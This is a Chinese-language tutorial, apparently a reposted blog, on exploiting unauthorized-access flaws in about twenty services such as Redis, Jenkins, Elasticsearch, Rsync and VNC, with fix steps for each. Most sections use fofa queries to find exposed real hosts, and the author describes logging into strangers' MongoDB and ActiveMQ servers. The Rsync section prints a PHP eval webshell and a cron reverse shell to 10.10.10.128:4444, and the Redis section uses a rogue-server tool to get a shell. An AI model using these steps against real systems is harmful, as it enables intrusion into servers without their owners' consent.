当前位置: 首页 > news >正文

未授权访问漏洞

一. Redis

      Redis 默认情况下,会绑定在 0.0.0.0:6379 ,如果没有进⾏采⽤相关的策略,⽐如添加防 ⽕墙规则避免其他⾮信任来源 ip 访问等,这样将会将 Redis 服务暴露到公⽹上,如果在没有设 置密码认证(⼀般为空)的情况下,会导致任意⽤户在可以访问⽬标服务器的情况下未授权 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利⽤ Redis ⾃身的提供 的config 命令,可以进⾏写⽂件操作,攻击者可以成功将⾃⼰的ssh公钥写⼊⽬标服务器的 /root/.ssh ⽂件夹的 authotrized_keys ⽂件中,进⽽可以使⽤对应私钥直接使⽤ssh服务 登录⽬标服务器。
复现

首先我们需要用docker启动一个靶机,命令如下

进⼊⽬录:cd /vulhub-master/redis/4-unacc
启动:docker-compose up -d
检查:docker-compose ps

然后在kali上面安装redis程序,命令为

#安装redis
apt-get install redis
#redis链接
redis-cli -h x.x.x.x -p 6379

连接后会弹出以下语言,直接连接上了,不需要认证,就说明存在未授权访问漏洞

接着我们下载redis-rogue-server.py来获取shell,下载连接https://github.com/n0b0dyCN/redis-rogue-server,下载后使用python3启动,然后就可以获取shell了,执行命令如下

python3 redis-rogue-server.py --rhost x.x.x.x --lhost x.x.x.x

二.MongoDB

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的⽤户可以通过默认端⼝⽆
需密码对数据库任意操作(增、删、改、查⾼危动作)⽽且可以远程访问数据库。

漏洞复现

首先去fofa搜索端口为27017的ip,然后直接用navicat去尝试连接即可

首先打开navicat,点击连接,选择MongoDB,这里的主机填写我们查到的ip,连接名随便填写,然后测试连接

这里我直接找到了一个可以连接的

如何修复

1. 为MongoDB添加认证:MongoDB启动时添加 --auth 参数、为MongoDB添加⽤户。
2. MongoDB ⾃身带有⼀个HTTP服务和并⽀持REST接⼝。在2.6以后这些接⼝默认是关闭        的。mongoDB默认会使⽤默认端⼝监听web服务,⼀般不需要通过web⽅式进⾏远程管          理,建议禁⽤。修改配置⽂件或在启动的时候选择 –nohttpinterface 参数                           nohttpinterface=false
3. 启动时加⼊参数 --bind_ip 127.0.0.1 或在 /etc/mongodb.conf ⽂件中添加以下内容:
bind_ip = 127.0.0.1

三.Memcached

      Memcached 是⼀套常⽤的 key-value 分布式⾼速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公⽹开放的Memcache服务很容易被攻击者扫描发现,攻击者⽆需认证通过命令交互可直接读取 Memcached中的敏感信息。  

漏洞复现

首先我们需要下载Memcached程序,下载链接如下

https://www.runoob.com/memcached/window-install-memcached.html

下载后我们利用如下命令安装并启动Memcached漏洞程序

memcached.exe -d install
memcached.exe -d start

然后用telnet去连接有memcached的11211 端口,这里我们去fofa中搜索端口为11211的ip,然后尝试连接,出现如下字样就是连接成功了

然后可以使用命令

stats //查看memcache服务状态
stats items //查看所有items
stats cachedump 39 0 //获得缓存key
get :state:264861539228401373:261588 //通过key读取相应value获得实际缓存内容,造
成敏感信息泄露
接下来,我们使⽤Nmap程序的脚本进⾏漏洞扫描,发现也可以扫出来
nmap -p 11211 --script memcached-info x.x.x.x

如何修复

1. 设置Memchached只允许本地访问。
2. 禁⽌外⽹访问Memcached 11211端⼝。
3. 配置访问控制策略。
4. 最⼩化权限运⾏。
5. 修改默认端⼝等。

四.Jenkins

默认情况下 Jenkins⾯板中⽤户可以选择执⾏脚本界⾯来操作⼀些系统层命令,攻击者可通 过未授权访问漏洞或者暴⼒破解⽤户密码等进⼊后台管理服务,通过脚本执⾏界⾯从⽽获取服务 器权限。

漏洞复现

首先我们利用如下语句在fofa中搜索

port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"

找到一个页面中有Manage Jenkins的,往下滑会有一个Scritp Console

点开之后我们就可以在里面执行命令了,这里我们执行一个println "whoami" .execute().text,发现成功执行

如何修复

1. 升级版本。
2. 添加认证,设置强密码复杂度及账号锁定。
3. 禁⽌把Jenkins直接暴露在公⽹。

五.Jupyter NoteBook

      Jupyter Notebook(此前被称为 IPython notebook)是⼀个交互式笔记本,⽀持运⾏ 40多种编程语⾔。如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建⼀个console并执⾏任意Python代码和命令,默认端⼝:8888。

漏洞复现

同样的,我们在fofa中搜索"Jupyter Notebook" && port="8888",如果存在未授权访问漏洞,那么点进去会直接跳转到web页面,否则就会到一个登陆页面

登陆页面

web页面

在web页面,我们可以直接创建一个终端来执行命令,点击new里的terminal即可

然后在这里可以直接执行命令

如何修复

1. 开启身份验证,防⽌未经授权⽤户访问。
2. 访问控制策略,限制IP访问,绑定固定IP。

六.Elasticsearch

      ElasticSearch是⼀个基于Lucene的搜索服务器。它提供了⼀个分布式多⽤户能⼒的全⽂搜索引擎,基于RESTful web接⼝。Elasticsearch是⽤Java开发的,并作为Apache许可条款下的开放源码发布,是当前流⾏的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接⼝完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进⾏任意操作。业务系统将⾯临敏感数据泄露、数据丢失、数据遭到破坏甚⾄遭到攻击者的勒索。

复现步骤:

首先我们利用如下语法在fofa中进行搜索

"Elasticsearch" && port="9200"

然后寻找能直接点进去查看到信息的ip

含有未授权访问漏洞则会出现如下页面

可以按照上面的查看节点信息,如访问ip的/_nodes 目录

如何修复

1. 访问控制策略,限制IP访问,绑定固定IP。
2. config/elasticsearch.yml 中为9200端⼝设置认证等

七.Kibana

      Kibana是⼀个开源的分析与可视化平台,设计出来⽤于和Elasticsearch⼀起使⽤的。你可以⽤kibana搜索、查看存放在Elasticsearch中的数据。Kibana与Elasticsearch的交互⽅式是以各种不同的图表、表格、地图等直观地展示数据,从⽽达到⾼级的数据分析与可视化的⽬的。
      Elasticsearch、Logstash和Kibana这三个技术就是我们常说的ELK技术栈,可以说这三个技术的组合是⼤数据领域中⼀个很巧妙的设计。⼀种很典型的MVC思想,模型持久层,视图层和控制层。Logstash担任控制层的⻆⾊,负责搜集和过滤数据。Elasticsearch担任数据持久层的⻆⾊,负责储存数据。⽽我们这章的主题Kibana担任视图层⻆⾊,拥有各种维度的查询和分析,并使⽤图形化的界⾯展示存放在Elasticsearch中的数据。

漏洞复现

我们利用如下语法在fofa中进行搜索

"kibana" && port="5601"

如果该网站存在未授权访问漏洞,则不会出现登陆界面

而是直接进入网站界面

那么我们就可以通过拼接路径HTTP://{IP}/app/kibana#/进入网站内部查看信息

如何修复

1. 升级Kibana到最新版本,升级地址如下 https://www.elastic.co/cn/downloads/kibana
2. 在kibana所在的服务器上安装nginx服务,利⽤nginx的转发指令实现,需要输⼊账号密码才可以访问⻚⾯。
3. 如果正常业务中 kibana 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP来访问服务。

八.Docker Remote API

      Docker是⼀个开源的应⽤容器引擎,让开发者可以打包他们的应⽤以及依赖包到⼀个可移植的容器中,然后发布到任何流⾏的LINUX机器上,也可以实现虚拟化。
      Docker swarm 是⼀个将docker集群变成单⼀虚拟的docker host⼯具,使⽤标准DockerAPI,能够⽅便docker集群的管理和扩展,由docker官⽅提供。
      Docker Remote API如配置不当可导致未授权访问,被攻击者恶意利⽤。攻击者⽆需认证即可访问到Docker数据,可能导致敏感信息泄露,⿊客也可以删除 Docker上的数据,直接访问宿主机上的敏感信息,或对敏感⽂件进⾏修改,最终完全控制服务器。

漏洞复现

我们利用如下语法在fofa中进行搜索

port="2375"

九.Kubernetes Api Server

      Kubernetes 的服务在正常启动后会开启两个端⼝:Localhost Port (默认8080)、Secure Port (默认6443)。这两个端⼝都是提供 Api Server 服务的,⼀个可以直接通过Web 访问,另⼀个可以通过 kubectl 客户端进⾏调⽤。如果运维⼈员没有合理的配置验证和权限,那么攻击者就可以通过这两个接⼝去获取容器的权限。

漏洞复现

我们在fofa中利用如下语法进行搜索

port="8080" && app="Kubernetes"

点进去即可得到类似如下页面,这就证明这个网站有未授权访问漏洞

如何修复

1. 进⾏授权认证
2. 使⽤Service Account令牌
3. 置防⽕墙策略

十.Hadoop

      Hadoop是⼀个由Apache基⾦会所开发的分布式系统基础架构,由于服务器直接在开放了Hadoop 机器 HDFS 的 50070 web 端⼝及部分默认服务端⼝,⿊客可以通过命令⾏操作多个⽬录下的数据,如进⾏删除,下载,⽬录浏览甚⾄命令执⾏等操作,产⽣极⼤的危害。

漏洞复现

我们在fofa中搜索如下
port="8088" && app="Hadoop"

如果出现如下页面,则存在未授权访问漏洞

修复方法

1. 如⽆必要,关闭 Hadoop Web 管理⻚⾯。
2. 开启身份验证,防⽌未经授权⽤户访问。
3. 设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端⼝对公⽹全部禁⽌或限制可信任的 IP地址才能访问包括 50070 以及 WebUI 等相关端⼝。

十一.ActiveMQ

      ActiveMQ是⼀款流⾏的开源消息服务器。默认情况下,ActiveMQ服务是没有配置安全参数。恶意⼈员可以利⽤默认配置弱点发动远程命令执⾏攻击,获取服务器权限,从⽽导致数据泄露。

漏洞复现

我们利用如下语法在fofa中进行搜索

body="ActiveMQ" && port="8161"

在如下页面中,点击Manage ActiveMQ broker后会进入一个登陆页面或者弹出一个登录框,我们尝试输入弱口令密码,如果可以登陆进去,则该页面存在未授权访问漏洞

我找的这个网站就存在未授权访问漏洞,点击进去后会谈到一个炫酷的登陆页面,直接输入admin-admin,就成功登陆进去

漏洞修复

1. ActiveMQ的安全配置分为控制台安全配置和后台安全配置。控制台安全配置是指⽤户通过浏览器登录ActiveMQ管理界⾯,对ActiveMQ进⾏管理的⼀个安全配置;主要是添加⽤户和密码。后台安全配置是指程序通过ActiveMQ发送消息的⼀个安全配置。
2. ActiveMQ后台安全配置。 配置置连接ActiveMQ的⽤户名和密码,如果不设置ActiveMQ安全机制,任何知道ActiveMQ服务的IP、端⼝和消息地址的⼈,都可以接受和发送消息。

十二.RabbitMQ未授权访问漏洞

      RabbitMQ是⽬前⾮常热⻔的⼀款消息中间件,基于AMQP协议的,可以在发布者和使⽤者之间交换异步消息。消息可以是⼈类可读的JSON,简单字符串或可以转换为JSON字符串的值列表。

漏洞复现

我们在fofa中搜索如下端口

port="15672" 
port="15692" 
port="25672"

然后回出现一个登录界面,这里的默认账号和密码都是guest ,直接尝试登陆

如果成功登录进入如下页面,则该网站存在未授权访问漏洞

漏洞修复

1. 修改为强密码,删除默认的账号guest。
2. 禁⽌对外⽹开放,仅限于内部访问。

十三.Springboot Actuator

      Actuator 是 springboot 提供的⽤来对应⽤系统进⾏⾃省和监控的功能模块,借助于 Actuator 开
发者可以很⽅便地对应⽤系统某些监控指标进⾏查看、统计等。在 Actuator 启⽤的情况下,如果没有做好相关权限控制,⾮法⽤户可通过访问默认的执⾏器端点(endpoints)来获取应⽤系统中的监控信息,从⽽导致信息泄露甚⾄服务器被接管的事件发⽣。

漏洞复现

在fofa中搜索如下语句

icon_hash="116323821"

十四.FTP未授权访问漏洞(匿名登陆)

      FTP 弱⼝令或匿名登录漏洞,⼀般指使⽤ FTP 的⽤户启⽤了匿名登录功能,或系统⼝令的⻓度太短、复杂度不够、仅包含数字、或仅包含字⺟等,容易被⿊客攻击,发⽣恶意⽂件上传或更严重的⼊侵⾏为。

漏洞复现

首先我们要打开iis服务,我这里使用的server2012虚拟机开启,添加功能时要选择上ftp,然后在网站这里点击添加FTP站点

站点名称随便填写,物理路径选择一个有东西的文件夹,然后点击下一步

在这里选择一个物理机可以访问到的ip,选择无ssl后点击下一步

这里选择匿名和匿名用户,并且给了读取与写入的权限,点击完成

在物理机中的资源管理器中利用访问ftp://192.168.159.128:21/,就可以获取到该ftp站点下的所有文件了

漏洞修复

禁⽌匿名登录

十五.JBoss

      JBoss是⼀个基于J2EE的开放源代码应⽤服务器,代码遵循LGPL许可,可以在任何商业应⽤中免费使⽤;JBoss也是⼀个管理EJB的容器和服务器,⽀持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输⼊⽤户名和密码可以直接部署上传⽊⻢有安全隐患。

漏洞复现

我们在fofa中搜索如下语句

title="Welcome to JBoss"

点击进入页面后,再点击页面中的JMX Console链接,如果能直接进入控制页面而不会显示404或者登陆界面的话,就证明这个网站存在未授权访问漏洞

出现如下界面,则存在未授权访问漏洞

然后我们还可以通过jboss.deployment部署shell

修复方法

1. jboss.deployment部署shell
2. 进⾏JMX Console 安全配置。

十六.Ldap

      LDAP中⽂全称为:轻型⽬录访问协议(Lightweight Directory Access Protocol),默认使⽤ 389, LDAP 底层⼀般使⽤ TCP 或 UDP 作为传输协议。⽬录服务是⼀个特殊的数据库,是⼀种以树状结构的⽬录数据库为基础。 未对LDAP的访问进⾏密码验证,导致未授权访问。

漏洞复现

首先我们需要下载一个ldapadmin软件,链接:https://sourceforge.net/projects/ldapadmin/

下载完成后在fofa中进行搜索端口为389的ip

然后打开刚刚下载的ldapadmin软件,点击左上角的连接,然后点击new connection

将搜索到的IP地址填入框中,然后勾选下面的Anonymous connection(匿名访问)后点击Test connection(测试连接)

当出现连接成功时则证明该网页存在ldap未授权访问漏洞

然后就可以连接⽬标LDAP服务并查看其内容

如何修复

1. 修改ldap的acl,不允许匿名访问。
2. 根据业务设置ldap访问⽩名单或⿊名单。

十七.Rsync

      Rsync 是Linux/Unix下的⼀个远程数据同步⼯具,可通过LAN/WAN快速同步多台主机间的⽂件 和⽬录,默认运⾏在873端⼝。由于配置不当,导致任何⼈可未授权访问rsync,上传本地⽂件,下载服务器⽂件。 Rsync 默认允许匿名访问,如果在配置⽂件中没有相关的⽤户认证以及⽂件授权,就会触发隐患。Rsync 的默认端⼝为 837 且默认配置⽂件路径在/etc/rsync.conf

漏洞复现

我们在fofa中搜索语法如下

(port="873") && (is_honeypot=false && is_fraud=false)

然后自己开启一个vulhub靶机,命令如下

cd vulhub/rsync/common
docker-compose up -d

然后到kali中利用如下语句去连接并读取文件

rsync rsync://192.168.124.153:873/
rsync rsync://192.168.124.153:873/src/

证明其有未授权访问漏洞后,就可以对其敏感文件内容进行下载,利用如下命令

rsync rsync://IP:port/src/etc/passwd ⽬标路径

如果靶机内有相应的asp/php/jsp环境的话,还可以写入一个一句话木马对其进行控制,命令如下

先自己写一个一句话木马:echo "<?php @eval($_POST[cmd]); ?>" > shell.php

然后将其放到靶机的home目录下:rsync ./phpinfo.php rsync://IP:873/src/home/

执行完成后查看是否上传成功,发现home中成功出现一个shell.php文件

反弹shell
在此可利⽤定时任务cron来反弹获取shell,首先利用如下命令查看靶机中的定时任务并将其下载
rsync rsync://IP:873/src/etc/crontab
//查看rsync rsync://ip/src/etc/crontab /tmp/tmp/crontab.txt
//下载
定时任务内容为,⼤致意思为每17分钟调⽤⼀次/etc/cron.hourly,然后创建一个shell文件并对其授权
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1chmod 777 shell

上传到靶机上,然后开启监听端口4444,等待即可反弹获取shell

rsync -av /tmp/tmp/shell rsync://192.168.124.153:873/src/etc/
cron.hourlync -lvp 4444

修复方法

配置认证⽤户名或者密码 host allow/deny 来控制接⼊源 IP uid和 gid, 使⽤⾜够但最⼩权限的账号进⾏ 必要时候可以配置只读 ⾮必要应该仅限制配置路径下可访问
1. 修改指定端⼝
- 配置⽂件不存在修改指定端⼝的选项,可以在启动命令⾏通过参数指定
/usr/local/rsync/bin.rsync --port=878 --daemon
- 查看进程检测是否更改端⼝ ps -ef | grep rsync
2. 禁⽌匿名访问
- 配置⽂件 /etc/rsync.conf 中增加 auth users = test
- 若未包含 auth users 即为匿名访问

十八.VNC

      VNC 是虚拟⽹络控制台 Virtual Network Console 的英⽂缩写。它是⼀款优秀的远程控制⼯具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端⼝号为 5900、5901。VNC 未授权访问漏洞如被利⽤可能造成恶意⽤户直接控制target主机。

漏洞复现

我们在fofa中搜索语法如下

(port="5900") && (is_honeypot=false && is_fraud=false)

然后在kali中利用MSF中的auxiliary/scanner/vnc/vnc_none_auth 模块对搜索到的ip进行漏洞检索与利用输入msfconsole进入msf控制台后,输入use auxiliary/scanner/vnc/vnc_none_auth 进入攻击模块

再输入set rhosts IP-254 ,设置线程threads为100后输入run运行

即可判断该ip是否存在未授权访问漏洞

十九.Dubbo

      Dubbo是阿⾥巴巴公司开源的⼀个⾼性能优秀的 服务框架,使得应⽤可通过⾼性能的 RPC实现服务的输 出和输⼊功能,可以和 Spring框架⽆缝集成。dubbo 因配置不当导致未授权访问漏洞。

漏洞复现

我们使用以下语句在fofa中进行搜索

(app="APACHE-dubbo") && (is_honeypot=false && is_fraud=false)

将搜到的ip到kali中利用telnet进行链接测试,出现如下语句则代表连接成功,存在dubbo未授权访问漏洞

如何防御

1. 配置dubbo认证。
2. 设置防⽕墙策略;
如果正常业务中 dubbo 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP 来访问服务。

二十.Zookeeper

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 对于泛型以及泛型擦除的理解
  • Ubuntu防火墙相关命令
  • 【轨物推荐】什么是科学?什么是技术?
  • 仓库管理系统(WMS)是什么?如何用手机RFID+扫码技术管理仓库?
  • 将本地微服务发布到docker镜像
  • vm虚拟机下安装CentOS7系统
  • 力扣第45题:跳跃游戏 贪心DP(C++)
  • 哈佛大学单细胞课程|笔记汇总 (二)
  • Jenkins保姆笔记(1)——基于Java8的Jenkins安装部署
  • 使用Cisco进行模拟RIP路由协议配置
  • 文献解读-肿瘤测序-第二十七期|《敲减通过控制TOP2A下调的NUSAP1可以抑制人胶质母细胞瘤的细胞增殖和侵袭》
  • Prometheus 笔记
  • Stable Diffusion之最全详解图解
  • 采用Spring Cloud +UniApp +MySql技术开发,SaaS模式的一套智慧工地云平台源码,支持多端展示:PC端、大屏端、手机端、平板端
  • 科普文:微服务之Spring Cloud Alibaba组件Nacos一致性协议Distro+Raft概叙
  • 「译」Node.js Streams 基础
  • 【跃迁之路】【477天】刻意练习系列236(2018.05.28)
  • 【跃迁之路】【669天】程序员高效学习方法论探索系列(实验阶段426-2018.12.13)...
  • CSS 提示工具(Tooltip)
  • EOS是什么
  • Git 使用集
  • spring security oauth2 password授权模式
  • Spring技术内幕笔记(2):Spring MVC 与 Web
  • SQLServer插入数据
  • vue脚手架vue-cli
  • 爱情 北京女病人
  • 给第三方使用接口的 URL 签名实现
  • 工程优化暨babel升级小记
  • 基于webpack 的 vue 多页架构
  • 计算机在识别图像时“看到”了什么?
  • 理解 C# 泛型接口中的协变与逆变(抗变)
  • 力扣(LeetCode)21
  • 设计模式(12)迭代器模式(讲解+应用)
  • 一、python与pycharm的安装
  •  一套莫尔斯电报听写、翻译系统
  • ​LeetCode解法汇总518. 零钱兑换 II
  • ​软考-高级-信息系统项目管理师教程 第四版【第23章-组织通用管理-思维导图】​
  • #Linux(Source Insight安装及工程建立)
  • $(document).ready(function(){}), $().ready(function(){})和$(function(){})三者区别
  • (04)Hive的相关概念——order by 、sort by、distribute by 、cluster by
  • (16)UiBot:智能化软件机器人(以头歌抓取课程数据为例)
  • (2022 CVPR) Unbiased Teacher v2
  • (代码示例)使用setTimeout来延迟加载JS脚本文件
  • (黑马出品_高级篇_01)SpringCloud+RabbitMQ+Docker+Redis+搜索+分布式
  • (十七)Flink 容错机制
  • (原)记一次CentOS7 磁盘空间大小异常的解决过程
  • (原創) 如何讓IE7按第二次Ctrl + Tab時,回到原來的索引標籤? (Web) (IE) (OS) (Windows)...
  • (转)Java socket中关闭IO流后,发生什么事?(以关闭输出流为例) .
  • (转)PlayerPrefs在Windows下存到哪里去了?
  • (转载)深入super,看Python如何解决钻石继承难题
  • (轉)JSON.stringify 语法实例讲解
  • .NET Core 网络数据采集 -- 使用AngleSharp做html解析
  • .NET MAUI Sqlite程序应用-数据库配置(一)
  • .net 打包工具_pyinstaller打包的exe太大?你需要站在巨人的肩膀上-VC++才是王道
  • ??javascript里的变量问题